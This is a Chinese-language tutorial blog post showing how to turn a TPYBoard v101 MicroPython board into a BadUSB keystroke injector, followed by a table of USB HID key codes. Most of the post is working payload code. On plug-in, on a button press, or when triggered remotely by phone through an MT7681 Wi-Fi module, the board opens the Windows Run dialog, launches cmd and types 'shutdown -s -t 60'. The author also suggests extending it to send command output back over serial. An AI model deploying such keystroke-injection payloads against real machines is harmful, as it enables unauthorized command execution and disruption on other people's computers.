【micropython】用python來進行BadUSB的USB-HID測試(含無線控制)


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     本文以TPYBoardv101開發板為例講解了利用micropython進行BadUSB的usb-HID設備測試的主要方法,使用mt7681模塊進行了一個簡單的實驗,實現了手機搖控鍵盤輸入的測試。

0x01引言

Micropython運行在微控制器上的Python只要你懂python3.x,就可以讓你像使用arduino那樣進行硬件開發。隨着micropython的發布,已經有越來越多的人研究和利用其進行項目開發。本人也進行了一些研究,發現利用python進行操作確實很方便,很簡單。目前支持micropython的開發板有很多,如pyboardpyMagicTPYBoard等。

  Pyboard

  Pymagic

TPYBoard

 

  最近從網上搞了一塊tpyboard V101(官網www.micropython.net.cn)進行了一下研究,特別是對其自身的USB-HID功能進行了測試,令人驚喜的是,你可以在僅懂python的情況下,進行HID攻擊的姿態測試。具體TPYBoardv101的使用方法,請參見www.micropython.net.cn 

  0x02 TPYBoardV101模擬鍵盤 

     該板子的使用方法入門,本文中略過,有興趣的可以查看其網站http://www.micropython.net.cn/support_category.php?id=2TPYBoardv101中,在進行鍵盤模擬時,每次發送了8個字符,只要搞清楚了這8個字符的含義,就能夠進行HID模擬了。 

鍵盤發送的8個字BYTE1 BYTE2 BYTE3 BYTE4 BYTE5 BYTE6 BYTE7 BYTE8。其中BYTE1用來實現功能鍵:

 

BYTE1 --
|--bit0: Left Control 按下時為1
|--bit1: Left Shift按下時為1
|--bit2: Left Alt按下時為1
|--bit3: Left GUI按下時為1
|--bit4: Right Control按下時為1
|--bit5: Right Shift按下時為1
|--bit6: Right Alt按下時為1
|--bit7: Right GUI按下時為1

 

BYTE3BYTE8是具體按鍵(見0x06附件),如:

按下left shift + a ,則發送 0x02,0x00,0x04,0x00,0x00,0x00,0x00,0x00

這里以按下left GUI+R來具體講解實現過程。

第一步:修改boot.py文件,代碼如下:

 

import machine
import pyb
#pyb.main('main.py') # main script to run after this one
#pyb.usb_mode('CDC+MSC') # act as a serial and a storage device
pyb.usb_mode('CDC+HID',hid=pyb.hid_keyboard) 

第二步,修改main.py文件,代碼如下:

 

# main.py -- put your code here!
hid=pyb.USB_HID()
def release_key_once():
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
def press_key_once(key):
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = key
    hid.send(buf) # key released
    pyb.delay(10)
def press_2key(key1,key2):
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = key1
    buf[2] = key2
    hid.send(buf) # key released
    pyb.delay(10)
def release_2key():
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = 0
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)

pyb.delay(1000) #開始加入1秒延時
press_2key(0x08,0x15)#具體鍵值見附錄部分
release_2key() 

第三步,安全退出TPYBoardv101,然后按一下RST鍵,可以看到一秒后“運行”窗口彈出。

  0x03 簡單的HID測試

   測試打開“運行”窗口,輸入cmd,然后彈出cmd后,輸入shutdown -s -t 60 ,60秒后自動關機。

Main.py的代碼如下:

 

# main.py -- put your code here!
hid=pyb.USB_HID()
def release_key_once():
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
def press_key_once(key):
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = key
    hid.send(buf) # key released
    pyb.delay(10)
def press_2key(key1,key2):
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = key1
    buf[2] = key2
    hid.send(buf) # key released
    pyb.delay(10)
def release_2key():
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = 0
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
    

pyb.delay(1000) #開始加入1秒延時
press_2key(0x08,0x15)#具體鍵值見附錄部分
release_2key()
pyb.delay(100)
a=[0x06,0x10,0x07,0x28] #cmd+enter
for i in a:
    press_key_once(i)
    release_key_once()
pyb.delay(1000)
#shutdown -s -t 60 + enter
a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
for i in a:
    press_key_once(i)
    release_key_once()
pyb.delay(1000)

程序運行的效果是:當開發板插入電腦后,會首先彈出“運行”窗口,然后在該窗口里輸入cmd,此時彈出cmd,並在其中輸入shutdown -s -t 60和回車,然后電腦在1分鍾后關機。 

  0x04 DIY一鍵關機

    TPYBoardv101帶着一個usr按鍵,可以利用這個按鍵來制作一鍵關機功能。當板子程序運行后,按下usr按鍵,產生中斷,led3閃一下,進行關機操作。具體代碼如下:

 

# main.py -- put your code here!
import pyb
FLAG=0 #flag標記,當為1時,關機

def release_key_once():
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
def press_key_once(key):
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = key
    hid.send(buf) # key released
    pyb.delay(10)
def press_2key(key1,key2):
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = key1
    buf[2] = key2
    hid.send(buf) # key released
    pyb.delay(10)
def release_2key():
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = 0
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
    
def shutdownpc():
    global FLAG
    pyb.LED(3).on()
    FLAG=1
    pyb.delay(300)
    pyb.LED(3).off()

hid=pyb.USB_HID()    
sw=pyb.Switch()
sw.callback(shutdownpc)
while(1): #led2閃爍表示板子已經正常工作
    pyb.LED(2).toggle()
    pyb.delay(300)
    print(FLAG)
    if FLAG==1:
        pyb.delay(1000) #開始加入1秒延時
        press_2key(0x08,0x15)#具體鍵值見附錄部分
        release_2key()
        pyb.delay(100)
        a=[0x06,0x10,0x07,0x28] #cmd+enter
        for i in a:
            press_key_once(i)
            release_key_once()
        pyb.delay(1000)
        #shutdown -s -t 60 + enter
        a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
        for i in a:
            press_key_once(i)
            release_key_once()
        pyb.delay(1000)
        FLAG=0  

 

 視頻演示:

 

  0x05 用手機搖控鍵盤輸入

  這個實驗中,我使用了MT7681wifi模塊,該模塊可以直接進行串口透傳。將MT7681TPYBoardv101進行連接,接線示意圖,見下圖。這里用的是TPYBoardv101UART3,串口波特率115200。具體代碼如下:

# main.py -- put your code here!
import pyb
FLAG=0

def release_key_once():
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
def press_key_once(key):
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = key
    hid.send(buf) # key released
    pyb.delay(10)
def press_2key(key1,key2):
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = key1
    buf[2] = key2
    hid.send(buf) # key released
    pyb.delay(10)
def release_2key():
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = 0
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
    
def shutdownpc():
    global FLAG
    pyb.LED(3).on()
    FLAG=1
    pyb.delay(1000)
    pyb.LED(3).off()
def getchars():
    global FLAG
    pyb.LED(3).on()
    FLAG=2
    pyb.delay(1000)
    pyb.LED(3).off()    
hid=pyb.USB_HID()    
sw=pyb.Switch()
sw.callback(shutdownpc)

u1=pyb.UART(3,115200)
u1.init(115200, bits=8, parity=None, stop=1)
u1.write('Hello world!')
buf=''
#print(buf)
while(1): #led2閃爍表示板子已經正常工作
    
    buf=u1.readline()
    print(buf)
    if buf==b's':
        getchars()
    pyb.LED(2).toggle()
    pyb.delay(1300)
    
    print(FLAG)
    if FLAG==1:
        pyb.delay(1000) #開始加入1秒延時
        press_2key(0x08,0x15)#具體鍵值見附錄部分
        release_2key()
        pyb.delay(100)
        a=[0x06,0x10,0x07,0x28] #cmd+enter
        for i in a:
            press_key_once(i)
            release_key_once()
        pyb.delay(1000)
        #shutdown -s -t 60 + enter
        a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
        for i in a:
            press_key_once(i)
            release_key_once()
        pyb.delay(1000)
        FLAG=0
    if FLAG==2:
        pyb.delay(1000) #開始加入1秒延時
        press_2key(0x08,0x15)#具體鍵值見附錄部分
        release_2key()
        pyb.delay(100)
        a=[0x11,0x12,0x17,0x08,0x13,0x04,0x07,0x28] #notepad+enter
        for i in a:
            press_key_once(i)
            release_key_once()
        pyb.delay(1000)
        FLAG=0 

 

到這一步,可以看到,手機就像一個搖控鍵盤一樣,可以直接來控制鍵盤了。只需要在程序中再豐富一下,就可以做個很不錯的手機鍵盤出來。同時,因為可以通過串口返回數據,所以可以在電腦端寫個上位機,這樣就可以把電腦操作的返回值返回回來。具體的擴展功能大家自己想吧,就只說到這里了。

視頻演示:

 

  0x06附件

  micropython的主要鍵值如下:

 

#define KEY_NONE                               0x00
#define KEY_ERRORROLLOVER                      0x01
#define KEY_POSTFAIL                           0x02
#define KEY_ERRORUNDEFINED                     0x03
#define KEY_A                                  0x04
#define KEY_B                                  0x05
#define KEY_C                                  0x06
#define KEY_D                                  0x07
#define KEY_E                                  0x08
#define KEY_F                                  0x09
#define KEY_G                                  0x0A
#define KEY_H                                  0x0B
#define KEY_I                                  0x0C
#define KEY_J                                  0x0D
#define KEY_K                                  0x0E
#define KEY_L                                  0x0F
#define KEY_M                                  0x10 
#define KEY_N                                  0x11 
#define KEY_O                                  0x12 
#define KEY_P                                  0x13
#define KEY_Q                                  0x14
#define KEY_R                                  0x15 
#define KEY_S                                  0x16 
#define KEY_T                                  0x17 
#define KEY_U                                  0x18
#define KEY_V                                  0x19
#define KEY_W                                  0x1A 
#define KEY_X                                  0x1B 
#define KEY_Y                                  0x1C
#define KEY_Z                                  0x1D
#define KEY_1_EXCLAMATION_MARK                 0x1E
#define KEY_2_AT                               0x1F
#define KEY_3_NUMBER_SIGN                      0x20
#define KEY_4_DOLLAR                           0x21
#define KEY_5_PERCENT                          0x22
#define KEY_6_CARET                            0x23
#define KEY_7_AMPERSAND                        0x24
#define KEY_8_ASTERISK                         0x25
#define KEY_9_OPARENTHESIS                     0x26
#define KEY_0_CPARENTHESIS                     0x27
#define KEY_ENTER                              0x28
#define KEY_ESCAPE                             0x29 
#define KEY_BACKSPACE                          0x2A 
#define KEY_TAB                                0x2B 
#define KEY_SPACEBAR                           0x2C
#define KEY_MINUS_UNDERSCORE                   0x2D
#define KEY_EQUAL_PLUS                         0x2E
#define KEY_OBRACKET_AND_OBRACE                0x2F 
#define KEY_CBRACKET_AND_CBRACE                0x30 
#define KEY_BACKSLASH_VERTICAL_BAR             0x31
#define KEY_NONUS_NUMBER_SIGN_TILDE            0x32
#define KEY_SEMICOLON_COLON                    0x33
#define KEY_SINGLE_AND_DOUBLE_QUOTE            0x34
#define KEY_GRAVE ACCENT AND TILDE             0x35 
#define KEY_COMMA_AND_LESS                     0x36
#define KEY_DOT_GREATER                        0x37
#define KEY_SLASH_QUESTION                     0x38
#define KEY_CAPS LOCK                          0x39
#define KEY_F1                                 0x3A 
#define KEY_F2                                 0x3B
#define KEY_F3                                 0x3C
#define KEY_F4                                 0x3D 
#define KEY_F5                                 0x3E 
#define KEY_F6                                 0x3F 
#define KEY_F7                                 0x40
#define KEY_F8                                 0x41
#define KEY_F9                                 0x42 
#define KEY_F10                                0x43
#define KEY_F11                                0x44 
#define KEY_F12                                0x45
#define KEY_PRINTSCREEN                        0x46
#define KEY_SCROLL LOCK                        0x47 
#define KEY_PAUSE                              0x48 
#define KEY_INSERT                             0x49 
#define KEY_HOME                               0x4A
#define KEY_PAGEUP                             0x4B
#define KEY_DELETE                             0x4C 
#define KEY_END1                               0x4D 
#define KEY_PAGEDOWN                           0x4E 
#define KEY_RIGHTARROW                         0x4F
#define KEY_LEFTARROW                          0x50
#define KEY_DOWNARROW                          0x51 
#define KEY_UPARROW                            0x52
#define KEY_KEYPAD_NUM_LOCK_AND_CLEAR          0x53
#define KEY_KEYPAD_SLASH                       0x54
#define KEY_KEYPAD_ASTERIKS                    0x55
#define KEY_KEYPAD_MINUS                       0x56 
#define KEY_KEYPAD_PLUS                        0x57 
#define KEY_KEYPAD_ENTER                       0x58
#define KEY_KEYPAD_1_END                       0x59
#define KEY_KEYPAD_2_DOWN_ARROW                0x5A
#define KEY_KEYPAD_3_PAGEDN                    0x5B
#define KEY_KEYPAD_4_LEFT_ARROW                0x5C
#define KEY_KEYPAD_5                           0x5D 
#define KEY_KEYPAD_6_RIGHT_ARROW               0x5E
#define KEY_KEYPAD_7_HOME                      0x5F
#define KEY_KEYPAD_8_UP_ARROW                  0x60
#define KEY_KEYPAD_9_PAGEUP                    0x61
#define KEY_KEYPAD_0_INSERT                    0x62
#define KEY_KEYPAD_DECIMAL_SEPARATOR_DELETE    0x63
#define KEY_NONUS_BACK_SLASH_VERTICAL_BAR      0x64
#define KEY_APPLICATION                        0x65
#define KEY_POWER                              0x66 
#define KEY_KEYPAD_EQUAL                       0x67 
#define KEY_F13                                0x68
#define KEY_F14                                0x69
#define KEY_F15                                0x6A 
#define KEY_F16                                0x6B 
#define KEY_F17                                0x6C
#define KEY_F18                                0x6D
#define KEY_F19                                0x6E
#define KEY_F20                                0x6F
#define KEY_F21                                0x70 
#define KEY_F22                                0x71 
#define KEY_F23                                0x72
#define KEY_F24                                0x73
#define KEY_EXECUTE                            0x74 
#define KEY_HELP                               0x75
#define KEY_MENU                               0x76 
#define KEY_SELECT                             0x77
#define KEY_STOP                               0x78
#define KEY_AGAIN                              0x79
#define KEY_UNDO                               0x7A 
#define KEY_CUT                                0x7B 
#define KEY_COPY                               0x7C
#define KEY_PASTE                              0x7D
#define KEY_FIND                               0x7E 
#define KEY_MUTE                               0x7F
#define KEY_VOLUME_UP                          0x80 
#define KEY_VOLUME_DOWN                        0x81
#define KEY_LOCKING_CAPS_LOCK                  0x82
#define KEY_LOCKING_NUM_LOCK                   0x83 
#define KEY_LOCKING_SCROLL_LOCK                0x84 
#define KEY_KEYPAD_COMMA                       0x85 
#define KEY_KEYPAD_EQUAL_SIGN                  0x86
#define KEY_INTERNATIONAL1                     0x87
#define KEY_INTERNATIONAL2                     0x88
#define KEY_INTERNATIONAL3                     0x89
#define KEY_INTERNATIONAL4                     0x8A
#define KEY_INTERNATIONAL5                     0x8B
#define KEY_INTERNATIONAL6                     0x8C
#define KEY_INTERNATIONAL7                     0x8D
#define KEY_INTERNATIONAL8                     0x8E
#define KEY_INTERNATIONAL9                     0x8F
#define KEY_LANG1                              0x90
#define KEY_LANG2                              0x91
#define KEY_LANG3                              0x92
#define KEY_LANG4                              0x93
#define KEY_LANG5                              0x94
#define KEY_LANG6                              0x95
#define KEY_LANG7                              0x96
#define KEY_LANG8                              0x97
#define KEY_LANG9                              0x98
#define KEY_ALTERNATE_ERASE                    0x99 
#define KEY_SYSREQ                             0x9A
#define KEY_CANCEL                             0x9B
#define KEY_CLEAR                              0x9C
#define KEY_PRIOR                              0x9D 
#define KEY_RETURN                             0x9E
#define KEY_SEPARATOR                          0x9F
#define KEY_OUT                                0xA0
#define KEY_OPER                               0xA1 
#define KEY_CLEAR_AGAIN                        0xA2
#define KEY_CRSEL                              0xA3
#define KEY_EXSEL                              0xA4
#define KEY_KEYPAD_00                          0xB0
#define KEY_KEYPAD_000                         0xB1 
#define KEY_THOUSANDS_SEPARATOR                0xB2 
#define KEY_DECIMAL_SEPARATOR                  0xB3 
#define KEY_CURRENCY_UNIT                      0xB4
#define KEY_CURRENCY_SUB_UNIT                  0xB5
#define KEY_KEYPAD_OPARENTHESIS                0xB6 
#define KEY_KEYPAD_CPARENTHESIS                0xB7 
#define KEY_KEYPAD_OBRACE                      0xB8 
#define KEY_KEYPAD_CBRACE                      0xB9
#define KEY_KEYPAD_TAB                         0xBA
#define KEY_KEYPAD_BACKSPACE                   0xBB 
#define KEY_KEYPAD_A                           0xBC 
#define KEY_KEYPAD_B                           0xBD 
#define KEY_KEYPAD_C                           0xBE
#define KEY_KEYPAD_D                           0xBF
#define KEY_KEYPAD_E                           0xC0 
#define KEY_KEYPAD_F                           0xC1 
#define KEY_KEYPAD_XOR                         0xC2
#define KEY_KEYPAD_CARET                       0xC3
#define KEY_KEYPAD_PERCENT                     0xC4
#define KEY_KEYPAD_LESS                        0xC5
#define KEY_KEYPAD_GREATER                     0xC6 
#define KEY_KEYPAD_AMPERSAND                   0xC7 
#define KEY_KEYPAD_LOGICAL_AND                 0xC8
#define KEY_KEYPAD_VERTICAL_BAR                0xC9
#define KEY_KEYPAD_LOGIACL_OR                  0xCA 
#define KEY_KEYPAD_COLON                       0xCB 
#define KEY_KEYPAD_NUMBER_SIGN                 0xCC 
#define KEY_KEYPAD_SPACE                       0xCD
#define KEY_KEYPAD_AT                          0xCE
#define KEY_KEYPAD_EXCLAMATION_MARK            0xCF 
#define KEY_KEYPAD_MEMORY_STORE                0xD0 
#define KEY_KEYPAD_MEMORY_RECALL               0xD1 
#define KEY_KEYPAD_MEMORY_CLEAR                0xD2
#define KEY_KEYPAD_MEMORY_ADD                  0xD3
#define KEY_KEYPAD_MEMORY_SUBTRACT             0xD4 
#define KEY_KEYPAD_MEMORY_MULTIPLY             0xD5 
#define KEY_KEYPAD_MEMORY_DIVIDE               0xD6
#define KEY_KEYPAD_PLUSMINUS                   0xD7
#define KEY_KEYPAD_CLEAR                       0xD8
#define KEY_KEYPAD_CLEAR_ENTRY                 0xD9 
#define KEY_KEYPAD_BINARY                      0xDA 
#define KEY_KEYPAD_OCTAL                       0xDB 
#define KEY_KEYPAD_DECIMAL                     0xDC
#define KEY_KEYPAD_HEXADECIMAL                 0xDD
#define KEY_LEFTCONTROL                        0xE0
#define KEY_LEFTSHIFT                          0xE1
#define KEY_LEFTALT                            0xE2
#define KEY_LEFT_GUI                           0xE3
#define KEY_RIGHTCONTROL                       0xE4
#define KEY_RIGHTSHIFT                         0xE5
#define KEY_RIGHTALT                           0xE6
#define KEY_RIGHT_GUI                          0xE7

 

 

 

 

 

 

 

 

 


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